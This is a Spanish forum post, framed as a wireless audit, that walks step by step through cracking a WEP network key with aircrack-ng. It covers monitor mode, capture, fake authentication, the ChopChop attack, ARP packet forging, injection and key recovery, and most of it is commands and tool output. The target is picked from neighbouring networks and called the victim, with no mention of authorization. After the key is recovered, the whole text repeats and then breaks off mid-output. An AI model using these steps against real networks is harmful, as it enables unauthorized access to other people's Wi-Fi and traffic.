Seifreed
01-21-2010, 09:04 AM
Hola!
Muy buenas a todos/as!
Hace ya algunas semanas podíamos ver como realizábamos una auditoría de una clave WEP, y lo fácil que nos resultó conseguir la clave que estábamos buscando.
El post era:
Auditoría Wireless con Wisacom WS-HP 800 en Ubuntu 9.10 Claves WEP (http://seifreed.org/2009/12/23/auditoria-wireless-con-wisacom-ws-hp-800-en-ubuntu-9-10-claves-wep/)
Antes de nada haré una copia y pega de lo que ya puse en el anterior POST para las comprobaciones previas antes de empezar la auditoría:
Comprobaciones
Driver Targeta
Primero de todo tenemos que comprobar si la targeta es reconocida por nuestro sistema, la mía como es por USB la comprobamos así:
marc@ubuntu:~$ lsusb |grep Realtek
Bus 002 Device 007: ID 0bda:8187 Realtek Semiconductor Corp. RTL8187 Wireless Adapter
En mi caso, no he tenido problemas, me la reconoce, si esto no fuera así tendríamos que buscar drivers o utilizar ndiswrapper (http://sourceforge.net/apps/mediawiki/ndiswrapper/index.php?title=Main_Page)
Listado de Interfaces
Normalmente siempre tenemos 2 interfaces,
lo: Interfaz de loopback
eth0: Interfaz de de red LAN
Para ver una lista de las interfaces que soportan escaneo de redes Wireless lo hacemos así:
marc@ubuntu:~$ iwlist scan
lo Interface doesn’t support scanning.
eth0 Interface doesn’t support scanning.
wmaster0 Interface doesn’t support scanning.
wlan0 Scan completed :
Cell 01 – Address: 00:19:15:AA:0C:E2
Channel:11
Frequency:2.462 GHz (Channel 11)
Quality=40/70 Signal level=-70 dBm
Encryption key:on
ESSID:”MI RED”
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s
24 Mb/s; 36 Mb/s; 54 Mb/s
Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s
Mode:Master
Extra:tsf=00000041824689e9
Extra: Last beacon: 3597628ms ago
IE: Unknown: 000554656C6532
IE: Unknown: 010882848B962430486C
IE: Unknown: 03010B
IE: Unknown: 2A0104
IE: Unknown: 2F0104
IE: Unknown: 32040C121860
IE: Unknown: DD090010180200F4000000
IE: WPA Version 1
Group Cipher : TKIP
Pairwise Ciphers (1) : TKIP
Authentication Suites (1) : PSK
pan0 Interface doesn’t support scanning.
wmaster1 Interface doesn’t support scanning.
wlan1 Failed to read scan data : Network is down
Como veis yo tengo más de una interfaz:
lo: Interfaz de loopback
eth0: Interfaz de de red LAN
wlan0:Interfaz Wireless que uso con la targeta Wireless que tengo integrada, pero que no soporta inyección
pan0: Interfaz de la conexión Bluetooth
wlan1: Interfaz del Wisacom WS HP-800
Ahora que ya tenemos la lista de las interfaces, podemos ver que wlan1 pone que la interfaz no está activa.
Vamos a activarla con:
marc@ubuntu:~$ sudo ifconfig wlan1 up
Ahora que ya tenemos la interfaz reconocida y levantada empecemos con la auditoría.
Auditando Wireless
Modo Monitor
Antes de nada hemos de activar el modo monitor, que sirve para poder recoger los paquetes que circulan por la red.
Para activar el modo monitor hacemos:
marc@ubuntu:~$ sudo airmon-ng start wlan1
Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
1010 avahi-daemon
1011 avahi-daemon
2072 wpa_supplicant
Process with PID 2072 (wpa_supplicant) is running on interface wlan0
Interface Chipset Driver
wlan0 Ralink 2561 PCI rt61pci – [phy0]
wlan1 RTL8187 rtl8187 – [phy2]
(monitor mode enabled on mon0)
mon1 RTL8187 rtl8187 – [phy2]
Ahora que ya tenemos el modo monitor activado que como podéis comprobar nos crea otra interfaz llamada mon0( En mi caso )
Empezando el ataque:
Antes de nada habría que saber que es y para que sirve el ataque ChopChop:
Este ataque, cuando es exitoso, puede desencriptar un paquete de datos WEP sin necesidad de conocer la clave. Incluso puede funcionar con WEP dinámica. Este ataque no recupera la clave WEP en sí misma, sino que revela únicamente el texto plano. De cualquier modo, algunos puntos de acceso no son en absoluto vulnerables. Algunos pueden en principio parecer vulnerables pero en realidad tiran los paquetes menores de 60 bytes. Si el punto de acceso tira paquetes menores de 42 bytes, aireplay intenta adivinar el resto de los datos, tan pronto como el encabezado (headers) sea predecible. Si un paquete IP es capturado, automáticamente comprueba el checksum del encabezado para ver si es correcto, y despues trata de adivinar las partes que le faltan. Este ataque requiere como mínimo un paquete de datos WEP.
El texto original (http://www.aircrack-ng.org/doku.php?id=korek_chopchop)
NOTA: Recordad que todos los ESSID, BSID, MAC Y demás son falsos
Posibles Clientes a auditar
Ahora que ya podemos capturar paquetes vamos a ver que clientes podemos ver, para eso utilizaremos este comando:
airodump-ng start mon0
En mi caso es mon0, pero si cuando hacemos airmon-ng tuviéramos otro nombre pues otro nombre,
CH 10 ][ Elapsed: 2 mins ][ 2009-12-23 18:02
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:19:15:AA:0C:E2 -50 328 1536 0 11 54 WPA TKIP PSK RED1
00:21:63:EF:C5:D0 -57 269 0 0 11 54e WPA TKIP PSK RED2
00:22:2D:44:E3:E1 -66 251 30 0 3 54e. WEP WEP RED3
00:1A:2B:4A:5E:79 -74 45 0 0 11 54 WEP WEP RED4
00:03:6F:49:11:04 -74 2 0 0 11 54 WPA TKIP PSK RED5
00:1A:2B:08:27:65 -1 0 0 0 158 -1 <length: 0>
00:1B:11:23:C2:9E -73 12 0 0 6 54 . WEP WEP RED6
00:22:15:00:21:FD -77 1 0 0 1 54 WEP WEP RED7
00:22:93:C0:C0:E0 -73 8 0 0 1 54 WPA TKIP PSK RED8
BSSID STATION PWR Rate Lost Packets Probes
00:19:15:AA:0C:E2 00:1C:BF:B5:51:90 -33 54 -48 0 1633 linksys,CLINEAP,Belkin_G_Plus_MIMO_ADSL,FP_STN_N,F P_STN_A,F2_TOP_F
00:19:15:AA:0C:E2 00:1A:70:B1:77:97 -22 24 -36 0 5
00:22:15:00:21:FD 00:22:43:2C:DE:B1 -74 0 - 1 0 9 RED9
Aquí veis las redes que me salen, nos interesan las del tipo WEP
Una vez hemos decidido que red queremos auditar paramos este comando con la tecla control +z y pondremos otro comando
marc@ubuntu:~$ sudo airodump-ng --channel 3 --bssid 00:22:2D:44:E3:E1 --write REDESCOGIDA mon0
Cuando ejecutas airodump-ng guardas los paquetes DATA, que son los que utilizaremos para crackear la password.
Para que no se nos haga un fichero muy grande sólo guardamos los datos de la red que nos interesa.
SI os fijáis no recogemos muchos data y eso es, porque no nos hemos asociado al router.
Autenticación al router
Para conseguir mas datos tendremos que hacerle creer al router que somos un cliente mas.
Esto se hace mediante el comando:
marc@ubuntu:~/Escritorio$ sudo aireplay-ng -1 30 -o 1 -e REDESCOGIDA -a 00:22:2D:44:E3:E1 -h 00:1A:EF:77:88:65 mon0
Con este comando nos haremos pasar por un cliente. El parámetro -a es la MAC de la Víctima y el -h la mac de nuestra tarjeta, el -e es el nombre de la red.
Cuando ejecutemos el comando nos debería de salir algo así.
17:08:35 Waiting for beacon frame (BSSID: 00:22:2D:44:E3:E1) on channel 3
17:08:35 Sending Authentication Request (Open System) [ACK]
17:08:35 Authentication successful
17:08:35 Sending Association Request [ACK]
17:08:35 Association successful http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif (AID: 1)
Ya estamos asociados como clientes.
Ahora tenemos un problema, aunque estemos asociados como cliente, como falso cliente al router si no se genera tráfico no podremos conseguir mas paquetes data para poder crakear la contraseña. Así que si no hay tráfico lo generaremos.
Empezando ha realizar ataque ChopChop:
root@thor:/home/marc# aireplay-ng -4 -b 00:22:2D:44:E3:E1 -h 00-1A-EF-0C-63-56 mon0
01:32:41 Waiting for beacon frame (BSSID: 00:22:2D:44:E3:E1) on channel 3
Read 4 packets…
Size: 115, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:22:2D:44:E3:E1
Dest. MAC = 00:1D:20:D3:00:C7
Source MAC = 00:C0:CA:21:D3:F2
0×0000: 0841 d500 001a 2b48 a3f4 00c0 ca21 d3f2 .A….+H…..!..
0×0010: 001d 20d3 00c7 f0ef 005f 0300 2f7b 68fb .. ……_../{h.
0×0020: 9ea6 47df c12b 47b6 732c 5440 c1ab f420 ..G..+G.s,T@…
0×0030: 2904 c962 8818 9636 1edf 91c0 2ebe 3121 )..b…6……1!
0×0040: 80b6 8f94 6672 3ebd 30b9 b8af 61e2 1aef ….fr>.0…a…
0×0050: 4fcc 3362 0d7c b19f 0625 756d c2a7 c27f O.3b.|…%um…
0×0060: 89a9 148c 072b c98b 72e5 4886 616e a993 …..+..r.H.an..
0×0070: 78ab 75 x.u
Use this packet ? yes
Saving chosen packet in replay_src-0121-013245.cap
Offset 114 ( 0% done) | xor = 4E | pt = 3B | 5017 frames written in 85293ms
Offset 113 ( 1% done) | xor = 42 | pt = E9 | 2303 frames written in 39148ms
Offset 112 ( 2% done) | xor = 42 | pt = 3A | 673 frames written in 11445ms
Offset 111 ( 3% done) | xor = 3B | pt = A8 | 4932 frames written in 83845ms
Offset 110 ( 4% done) | xor = AA | pt = 03 | 1872 frames written in 31826ms
Offset 109 ( 6% done) | xor = B4 | pt = DA | 1131 frames written in 19219ms
Offset 108 ( 7% done) | xor = F1 | pt = 90 | 1565 frames written in 26605ms
Offset 107 ( 8% done) | xor = C1 | pt = 47 | 1455 frames written in 24735ms
Offset 106 ( 9% done) | xor = 60 | pt = 28 | 492 frames written in 8365ms
Offset 105 (11% done) | xor = 11 | pt = F4 | 5796 frames written in 98536ms
Offset 104 (12% done) | xor = BE | pt = CC | 4516 frames written in 76767ms
Offset 103 (13% done) | xor = 73 | pt = F8 | 1060 frames written in 18021ms
Offset 102 (14% done) | xor = C0 | pt = 09 | 7142 frames written in 121421ms
Offset 101 (16% done) | xor = 01 | pt = 2A | 3132 frames written in 53247ms
Offset 100 (17% done) | xor = AD | pt = AA | 10555 frames written in 179438ms
Offset 99 (18% done) | xor = B6 | pt = 3A | 8877 frames written in 150898ms
Offset 98 (19% done) | xor = 9B | pt = 8F | 877 frames written in 14920ms
Offset 97 (20% done) | xor = 69 | pt = C0 | 1711 frames written in 29073ms
Offset 96 (22% done) | xor = E8 | pt = 61 | 805 frames written in 13699ms
Offset 95 (23% done) | xor = 7C | pt = 03 | 602 frames written in 10229ms
Offset 94 (24% done) | xor = DE | pt = 1C | 1651 frames written in 28060ms
Offset 93 (25% done) | xor = EE | pt = 49 | 12611 frames written in 214389ms
Offset 92 (27% done) | xor = E6 | pt = 24 | 777 frames written in 13206ms
Offset 91 (28% done) | xor = 6E | pt = 03 | 4563 frames written in 77571ms
Offset 90 (29% done) | xor = C9 | pt = BC | 6261 frames written in 106436ms
Offset 89 (30% done) | xor = 26 | pt = 03 | 10163 frames written in 172773ms
Offset 88 (32% done) | xor = 51 | pt = 57 | 890 frames written in 15144ms
Offset 87 (33% done) | xor = 76 | pt = E9 | 2078 frames written in 35311ms
Offset 86 (34% done) | xor = E2 | pt = 53 | 5818 frames written in 98906ms
Offset 85 (35% done) | xor = 7C | pt = 00 | 22882 frames written in 388996ms
Offset 84 (37% done) | xor = 69 | pt = 64 | 16868 frames written in 286757ms
Offset 83 (38% done) | xor = 62 | pt = 00 | 46586 frames written in 791963ms
Offset 82 (39% done) | xor = 33 | pt = 00 | 33290 frames written in 565925ms
Offset 81 (40% done) | xor = CD | pt = 01 | 16606 frames written in 282316ms
Offset 80 (41% done) | xor = 4E | pt = 01 | 4822 frames written in 81962ms
Offset 79 (43% done) | xor = EE | pt = 01 | 944 frames written in 16047ms
Offset 78 (44% done) | xor = 1A | pt = 00 | 7126 frames written in 121141ms
Offset 77 (45% done) | xor = E2 | pt = 00 | 4820 frames written in 81940ms
Offset 76 (46% done) | xor = 61 | pt = 00 | 5468 frames written in 92967ms
Offset 75 (48% done) | xor = AD | pt = 02 | 6069 frames written in 103165ms
Offset 74 (49% done) | xor = 0A | pt = B2 | 580 frames written in 9858ms
Offset 73 (50% done) | xor = D8 | pt = 61 | 3592 frames written in 61064ms
Offset 72 (51% done) | xor = D4 | pt = E4 | 1734 frames written in 29485ms
Offset 71 (53% done) | xor = 82 | pt = 3F | 1605 frames written in 27292ms
Offset 70 (54% done) | xor = 8E | pt = B0 | 16047 frames written in 272799ms
Offset 69 (55% done) | xor = 7B | pt = 09 | 3964 frames written in 67384ms
Offset 68 (56% done) | xor = 3E | pt = 58 | 3762 frames written in 63944ms
Offset 67 (58% done) | xor = 94 | pt = 00 | 3118 frames written in 53018ms
Offset 66 (59% done) | xor = D8 | pt = 57 | 2760 frames written in 46922ms
Offset 65 (60% done) | xor = AF | pt = 19 | 12398 frames written in 210752ms
Offset 64 (61% done) | xor = 82 | pt = 02 | 25620 frames written in 435545ms
Offset 63 (62% done) | xor = DE | pt = FF | 23362 frames written in 397149ms
Offset 62 (64% done) | xor = 52 | pt = 63 | 2731 frames written in 46431ms
Offset 61 (65% done) | xor = 89 | pt = 37 | 5048 frames written in 85811ms
Offset 60 (66% done) | xor = 2E | pt = 00 | 2116 frames written in 35988ms
Offset 59 (67% done) | xor = 80 | pt = 40 | 4531 frames written in 77017ms
Offset 58 (69% done) | xor = 8E | pt = 1F | 21760 frames written in 369915ms
Offset 57 (70% done) | xor = 7E | pt = A1 | 1297 frames written in 22049ms
Offset 56 (71% done) | xor = 11 | pt = 0F | 6424 frames written in 109208ms
Offset 55 (72% done) | xor = 96 | pt = A0 | 6708 frames written in 114049ms
Offset 54 (74% done) | xor = AB | pt = 3D | 1763 frames written in 29973ms
Offset 53 (75% done) | xor = E3 | pt = FB | 7058 frames written in 119971ms
Offset 52 (76% done) | xor = B2 | pt = 3A | 2041 frames written in 34711ms
Offset 51 (77% done) | xor = 40 | pt = 22 | 8905 frames written in 151372ms
Offset 50 (79% done) | xor = C8 | pt = 01 | 5406 frames written in 91901ms
Offset 49 (80% done) | xor = AC | pt = A8 | 3084 frames written in 52435ms
Offset 48 (81% done) | xor = E9 | pt = C0 | 1946 frames written in 33075ms
Offset 47 (82% done) | xor = AB | pt = 8B | 5243 frames written in 89133ms
Offset 46 (83% done) | xor = 56 | pt = A2 | 1873 frames written in 31840ms
Offset 45 (85% done) | xor = BA | pt = 11 | 829 frames written in 14105ms
Offset 44 (86% done) | xor = 41 | pt = 80 | 1695 frames written in 28804ms
Offset 43 (87% done) | xor = 40 | pt = 00 | 1276 frames written in 21697ms
Offset 42 (88% done) | xor = 54 | pt = 00 | 1118 frames written in 19013ms
Offset 41 (90% done) | xor = 9D | pt = B1 | 3782 frames written in 64279ms
Offset 40 (91% done) | xor = 2E | pt = 5D | 2379 frames written in 40444ms
Offset 39 (92% done) | xor = FD | pt = 4B | 8525 frames written in 144926ms
Offset 38 (93% done) | xor = 47 | pt = 00 | 1648 frames written in 28015ms
Offset 37 (95% done) | xor = 2B | pt = 00 | 3175 frames written in 53977ms
Offset 36 (96% done) | xor = 84 | pt = 45 | 20981 frames written in 356677ms
Offset 35 (97% done) | xor = DF | pt = 00 | 12807 frames written in 217717ms
Offset 34 (98% done) | xor = 4F | pt = 08 | 4691 frames written in 79762ms
Saving plaintext in replay_dec-0121-021600.cap
Saving keystream in replay_dec-0121-021600.xor
Completed in 2593s (0.03 bytes/s)
Este proceso, en mi caso tardó bastante en hacerse, es muy necesario para hacer esto que, estemos auténticandonos al router con el paso anterior a este.
Bueno ahora vamos a saber en que rango está echa la red.
Descubriendo la red
root@thor:/home/marc# tcpdump -s 0 -n -e -r replay_dec-0121-021600.cap
reading from file replay_dec-0121-021600.cap, link-type IEEE802_11 (802.11)
02:16:00.914164 BSSID:00:1a:2b:48:a3:f4 SA:00:c0:ca:21:d3:f2 DA:00:1d:20:d3:00:c7 LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0×03: oui Ethernet (0×000000), ethertype IPv4 (0×0800): 192.168.1.34.4001 > 58.251.61.160.8000: UDP, length 47
root@thor:/home/marc# ifconfig mon0
mon0 Link encap:UNSPEC direcciónHW 00-1A-EF-0C-63-56-00-00-00-00-00-00-00-00-00-00
ACTIVO DIFUSIÓN NOTRAILERS FUNCIONANDO PROMISC ALLMULTI MTU:1500 Métrica:1
Paquetes RX:278204 errores:0 perdidos:0 overruns:0 frame:0
Paquetes TX:0 errores:0 perdidos:0 overruns:0 carrier:0
colisiones:0 long.colaTX:1000
Bytes RX:19098550 (19.0 MB) TX bytes:0 (0.0 B)
Ahora ya sabemos que la red trabaja en el rango 192.168.1.34
Construyendo paquete ARP
Ahora que ya tenemos más información procedemos a construir nuestro paquete mediante la herramienta packetforge
root@thor:/home/marc# packetforge-ng -0 -a 00:22:2D:44:E3:E1 -h 00-1A-EF-0C-63-56 -k 192.168.1.34 -l 192.168.1.254 -y replay_dec-0121-021600.xor -w final_arp.cap
Wrote packet to: final_arp.cap
Ahora ya podemos inyectar con nuestro paquete ARP
Inyectando paquetes
root@thor:/home/marc# aireplay-ng -2 -r final_arp.cap mon0
No source MAC (-h) specified. Using the device MAC (00:1A:EF:0C:63:56)
Size: 68, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:1A:2B:48:A3:F4
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:1A:EF:0C:63:56
0×0000: 0841 0201 001a 2b48 a3f4 001a ef0c 6356 .A….+H……cV
0×0010: ffff ffff ffff 8001 005f 0300 2f7b 68fb ………_../{h.
0×0020: 9ea6 47d9 842a 4ffd 2899 5441 41a0 b9a7 ..G..*O.(.TAA…
0×0030: 8afa 08e8 b31d ab96 117e 8e80 ee21 53fc ………~…!S.
0×0040: 7565 ba8c ue..
Use this packet ? yes
Ahora podremos ver como los DATA suben de manera muy rápida.
Cuando tengamos los DATA necesarios podemos proceder al crackeo de la clave
Crackeando Red
root@thor:/home/marc# aircrack-ng archivo.cap
Y, podremos ver el proceso
Aircrack-ng 1.0
[00:00:44] Tested 995397 keys (got 35776 IVs)
KB depth byte(vote)
0 0/ 1 43(49408) 52(43776) 6A(43776) B6(43264) CF(42240) 7C(41984) B2(41984) F9(41984) 49(41728) 61(41728) C7(41728) 4C(41472)
1 0/ 1 30(52480) 6F(43520) 49(42240) E3(41984) 50(41216) AF(41216) B6(41216) 79(40960) B0(40960) C2(40960) 3F(40704) B3(40704)
2 0/ 1 30(56064) 2D(43520) 4A(42752) 34(41984) 1E(41728) 6C(41728) 72(41472) 91(41472) 0F(41216) 84(41216) EB(40960) 28(40704)
3 0/ 1 31(51712) 90(44288) 2D(43520) 9A(42752) C8(42496) ED(42496) 55(41984) D1(41728) 09(41472) 12(41472) 08(41216) A2(41216)
4 0/ 1 44(46336) DA(44544) 1C(44032) BF(44032) 51(43776) 19(43264) A2(43264) B2(42496) 94(41728) D0(41728) 21(41472) 84(41472)
5 1/ 2 32(45312) 08(43776) BF(43264) B9(43008) 59(42496) 1C(42240) D0(42240) 4E(41984) CD(41728) 66(41472) A7(41472) A9(41472)
6 0/ 1 30(49152) 06(43776) 7C(42496) EA(42496) A7(42240) F8(41984) 5E(41728) D6(41728) 4F(41472) 50(41472) 19(41216) 1A(41216)
7 1/ 2 44(45312) 27(43264) C9(42752) 1F(42240) AA(42240) 16(41984) 5C(41984) 0B(41472) 57(41472) 7D(41472) 02(41216) 0C(40704)
8 1/ 2 33(46848) 5C(45824) E1(44288) EB(44288) AA(43776) A8(43520) 1E(43264) 94(42496) 9A(41984) CD(41984) 64(41728) 17(41472)
9 0/ 1 30(48896) 49(44544) 5C(44544) B2(44288) 20(43520) BA(43264) 2A(43008) F9(43008) 1A(42752) 85(42496) D6(42496) D2(41216)
10 5/ 1 C4(41984) 38(41472) 8B(41472) E1(41472) 04(41216) A7(41216) 8D(40704) BC(40704) 11(40448) B4(40448) F2(40448) 33(40192)
11 14/ 1 14(40192) 25(40192) 2B(40192) 9D(40192) BA(40192) 1F(39936) 29(39936) 40(39936) 89(39936) 8F(39680) D5(39680) F1(39680)
12 0/ 2 4A(46116) CB(44580) 81(43408) C1(43340) 12(42460) A7(42236) A9(41876) FE(41840) 30(41652) 73(41620) 52(41580) E7(41548)
KEY FOUND! [ 43:30:30:31:44:32:30:44:33:30:30:43:37 ] (ASCII: C001D20D300C7 )
Decrypted correctly: 100%
Y ya está, ya tenemos nuestra clave de red.
Seguimos trabajando para WPA http://s.wordpress.com/wp-includes/images/smilies/icon_razz.gif
Muy buenas a todos/as!
Hace ya algunas semanas podíamos ver como realizábamos una auditoría de una clave WEP, y lo fácil que nos resultó conseguir la clave que estábamos buscando.
El post era:
Auditoría Wireless con Wisacom WS-HP 800 en Ubuntu 9.10 Claves WEP (http://seifreed.org/2009/12/23/auditoria-wireless-con-wisacom-ws-hp-800-en-ubuntu-9-10-claves-wep/)
Antes de nada haré una copia y pega de lo que ya puse en el anterior POST para las comprobaciones previas antes de empezar la auditoría:
Comprobaciones
Driver Targeta
Primero de todo tenemos que comprobar si la targeta es reconocida por nuestro sistema, la mía como es por USB la comprobamos así:
marc@ubuntu:~$ lsusb |grep Realtek
Bus 002 Device 007: ID 0bda:8187 Realtek Semiconductor Corp. RTL8187 Wireless Adapter
En mi caso, no he tenido problemas, me la reconoce, si esto no fuera así tendríamos que buscar drivers o utilizar ndiswrapper (http://sourceforge.net/apps/mediawiki/ndiswrapper/index.php?title=Main_Page)
Listado de Interfaces
Normalmente siempre tenemos 2 interfaces,
lo: Interfaz de loopback
eth0: Interfaz de de red LAN
Para ver una lista de las interfaces que soportan escaneo de redes Wireless lo hacemos así:
marc@ubuntu:~$ iwlist scan
lo Interface doesn’t support scanning.
eth0 Interface doesn’t support scanning.
wmaster0 Interface doesn’t support scanning.
wlan0 Scan completed :
Cell 01 – Address: 00:19:15:AA:0C:E2
Channel:11
Frequency:2.462 GHz (Channel 11)
Quality=40/70 Signal level=-70 dBm
Encryption key:on
ESSID:”MI RED”
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s
24 Mb/s; 36 Mb/s; 54 Mb/s
Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s
Mode:Master
Extra:tsf=00000041824689e9
Extra: Last beacon: 3597628ms ago
IE: Unknown: 000554656C6532
IE: Unknown: 010882848B962430486C
IE: Unknown: 03010B
IE: Unknown: 2A0104
IE: Unknown: 2F0104
IE: Unknown: 32040C121860
IE: Unknown: DD090010180200F4000000
IE: WPA Version 1
Group Cipher : TKIP
Pairwise Ciphers (1) : TKIP
Authentication Suites (1) : PSK
pan0 Interface doesn’t support scanning.
wmaster1 Interface doesn’t support scanning.
wlan1 Failed to read scan data : Network is down
Como veis yo tengo más de una interfaz:
lo: Interfaz de loopback
eth0: Interfaz de de red LAN
wlan0:Interfaz Wireless que uso con la targeta Wireless que tengo integrada, pero que no soporta inyección
pan0: Interfaz de la conexión Bluetooth
wlan1: Interfaz del Wisacom WS HP-800
Ahora que ya tenemos la lista de las interfaces, podemos ver que wlan1 pone que la interfaz no está activa.
Vamos a activarla con:
marc@ubuntu:~$ sudo ifconfig wlan1 up
Ahora que ya tenemos la interfaz reconocida y levantada empecemos con la auditoría.
Auditando Wireless
Modo Monitor
Antes de nada hemos de activar el modo monitor, que sirve para poder recoger los paquetes que circulan por la red.
Para activar el modo monitor hacemos:
marc@ubuntu:~$ sudo airmon-ng start wlan1
Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
1010 avahi-daemon
1011 avahi-daemon
2072 wpa_supplicant
Process with PID 2072 (wpa_supplicant) is running on interface wlan0
Interface Chipset Driver
wlan0 Ralink 2561 PCI rt61pci – [phy0]
wlan1 RTL8187 rtl8187 – [phy2]
(monitor mode enabled on mon0)
mon1 RTL8187 rtl8187 – [phy2]
Ahora que ya tenemos el modo monitor activado que como podéis comprobar nos crea otra interfaz llamada mon0( En mi caso )
Empezando el ataque:
Antes de nada habría que saber que es y para que sirve el ataque ChopChop:
Este ataque, cuando es exitoso, puede desencriptar un paquete de datos WEP sin necesidad de conocer la clave. Incluso puede funcionar con WEP dinámica. Este ataque no recupera la clave WEP en sí misma, sino que revela únicamente el texto plano. De cualquier modo, algunos puntos de acceso no son en absoluto vulnerables. Algunos pueden en principio parecer vulnerables pero en realidad tiran los paquetes menores de 60 bytes. Si el punto de acceso tira paquetes menores de 42 bytes, aireplay intenta adivinar el resto de los datos, tan pronto como el encabezado (headers) sea predecible. Si un paquete IP es capturado, automáticamente comprueba el checksum del encabezado para ver si es correcto, y despues trata de adivinar las partes que le faltan. Este ataque requiere como mínimo un paquete de datos WEP.
El texto original (http://www.aircrack-ng.org/doku.php?id=korek_chopchop)
NOTA: Recordad que todos los ESSID, BSID, MAC Y demás son falsos
Posibles Clientes a auditar
Ahora que ya podemos capturar paquetes vamos a ver que clientes podemos ver, para eso utilizaremos este comando:
airodump-ng start mon0
En mi caso es mon0, pero si cuando hacemos airmon-ng tuviéramos otro nombre pues otro nombre,
CH 10 ][ Elapsed: 2 mins ][ 2009-12-23 18:02
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:19:15:AA:0C:E2 -50 328 1536 0 11 54 WPA TKIP PSK RED1
00:21:63:EF:C5:D0 -57 269 0 0 11 54e WPA TKIP PSK RED2
00:22:2D:44:E3:E1 -66 251 30 0 3 54e. WEP WEP RED3
00:1A:2B:4A:5E:79 -74 45 0 0 11 54 WEP WEP RED4
00:03:6F:49:11:04 -74 2 0 0 11 54 WPA TKIP PSK RED5
00:1A:2B:08:27:65 -1 0 0 0 158 -1 <length: 0>
00:1B:11:23:C2:9E -73 12 0 0 6 54 . WEP WEP RED6
00:22:15:00:21:FD -77 1 0 0 1 54 WEP WEP RED7
00:22:93:C0:C0:E0 -73 8 0 0 1 54 WPA TKIP PSK RED8
BSSID STATION PWR Rate Lost Packets Probes
00:19:15:AA:0C:E2 00:1C:BF:B5:51:90 -33 54 -48 0 1633 linksys,CLINEAP,Belkin_G_Plus_MIMO_ADSL,FP_STN_N,F P_STN_A,F2_TOP_F
00:19:15:AA:0C:E2 00:1A:70:B1:77:97 -22 24 -36 0 5
00:22:15:00:21:FD 00:22:43:2C:DE:B1 -74 0 - 1 0 9 RED9
Aquí veis las redes que me salen, nos interesan las del tipo WEP
Una vez hemos decidido que red queremos auditar paramos este comando con la tecla control +z y pondremos otro comando
marc@ubuntu:~$ sudo airodump-ng --channel 3 --bssid 00:22:2D:44:E3:E1 --write REDESCOGIDA mon0
Cuando ejecutas airodump-ng guardas los paquetes DATA, que son los que utilizaremos para crackear la password.
Para que no se nos haga un fichero muy grande sólo guardamos los datos de la red que nos interesa.
SI os fijáis no recogemos muchos data y eso es, porque no nos hemos asociado al router.
Autenticación al router
Para conseguir mas datos tendremos que hacerle creer al router que somos un cliente mas.
Esto se hace mediante el comando:
marc@ubuntu:~/Escritorio$ sudo aireplay-ng -1 30 -o 1 -e REDESCOGIDA -a 00:22:2D:44:E3:E1 -h 00:1A:EF:77:88:65 mon0
Con este comando nos haremos pasar por un cliente. El parámetro -a es la MAC de la Víctima y el -h la mac de nuestra tarjeta, el -e es el nombre de la red.
Cuando ejecutemos el comando nos debería de salir algo así.
17:08:35 Waiting for beacon frame (BSSID: 00:22:2D:44:E3:E1) on channel 3
17:08:35 Sending Authentication Request (Open System) [ACK]
17:08:35 Authentication successful
17:08:35 Sending Association Request [ACK]
17:08:35 Association successful http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif (AID: 1)
Ya estamos asociados como clientes.
Ahora tenemos un problema, aunque estemos asociados como cliente, como falso cliente al router si no se genera tráfico no podremos conseguir mas paquetes data para poder crakear la contraseña. Así que si no hay tráfico lo generaremos.
Empezando ha realizar ataque ChopChop:
root@thor:/home/marc# aireplay-ng -4 -b 00:22:2D:44:E3:E1 -h 00-1A-EF-0C-63-56 mon0
01:32:41 Waiting for beacon frame (BSSID: 00:22:2D:44:E3:E1) on channel 3
Read 4 packets…
Size: 115, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:22:2D:44:E3:E1
Dest. MAC = 00:1D:20:D3:00:C7
Source MAC = 00:C0:CA:21:D3:F2
0×0000: 0841 d500 001a 2b48 a3f4 00c0 ca21 d3f2 .A….+H…..!..
0×0010: 001d 20d3 00c7 f0ef 005f 0300 2f7b 68fb .. ……_../{h.
0×0020: 9ea6 47df c12b 47b6 732c 5440 c1ab f420 ..G..+G.s,T@…
0×0030: 2904 c962 8818 9636 1edf 91c0 2ebe 3121 )..b…6……1!
0×0040: 80b6 8f94 6672 3ebd 30b9 b8af 61e2 1aef ….fr>.0…a…
0×0050: 4fcc 3362 0d7c b19f 0625 756d c2a7 c27f O.3b.|…%um…
0×0060: 89a9 148c 072b c98b 72e5 4886 616e a993 …..+..r.H.an..
0×0070: 78ab 75 x.u
Use this packet ? yes
Saving chosen packet in replay_src-0121-013245.cap
Offset 114 ( 0% done) | xor = 4E | pt = 3B | 5017 frames written in 85293ms
Offset 113 ( 1% done) | xor = 42 | pt = E9 | 2303 frames written in 39148ms
Offset 112 ( 2% done) | xor = 42 | pt = 3A | 673 frames written in 11445ms
Offset 111 ( 3% done) | xor = 3B | pt = A8 | 4932 frames written in 83845ms
Offset 110 ( 4% done) | xor = AA | pt = 03 | 1872 frames written in 31826ms
Offset 109 ( 6% done) | xor = B4 | pt = DA | 1131 frames written in 19219ms
Offset 108 ( 7% done) | xor = F1 | pt = 90 | 1565 frames written in 26605ms
Offset 107 ( 8% done) | xor = C1 | pt = 47 | 1455 frames written in 24735ms
Offset 106 ( 9% done) | xor = 60 | pt = 28 | 492 frames written in 8365ms
Offset 105 (11% done) | xor = 11 | pt = F4 | 5796 frames written in 98536ms
Offset 104 (12% done) | xor = BE | pt = CC | 4516 frames written in 76767ms
Offset 103 (13% done) | xor = 73 | pt = F8 | 1060 frames written in 18021ms
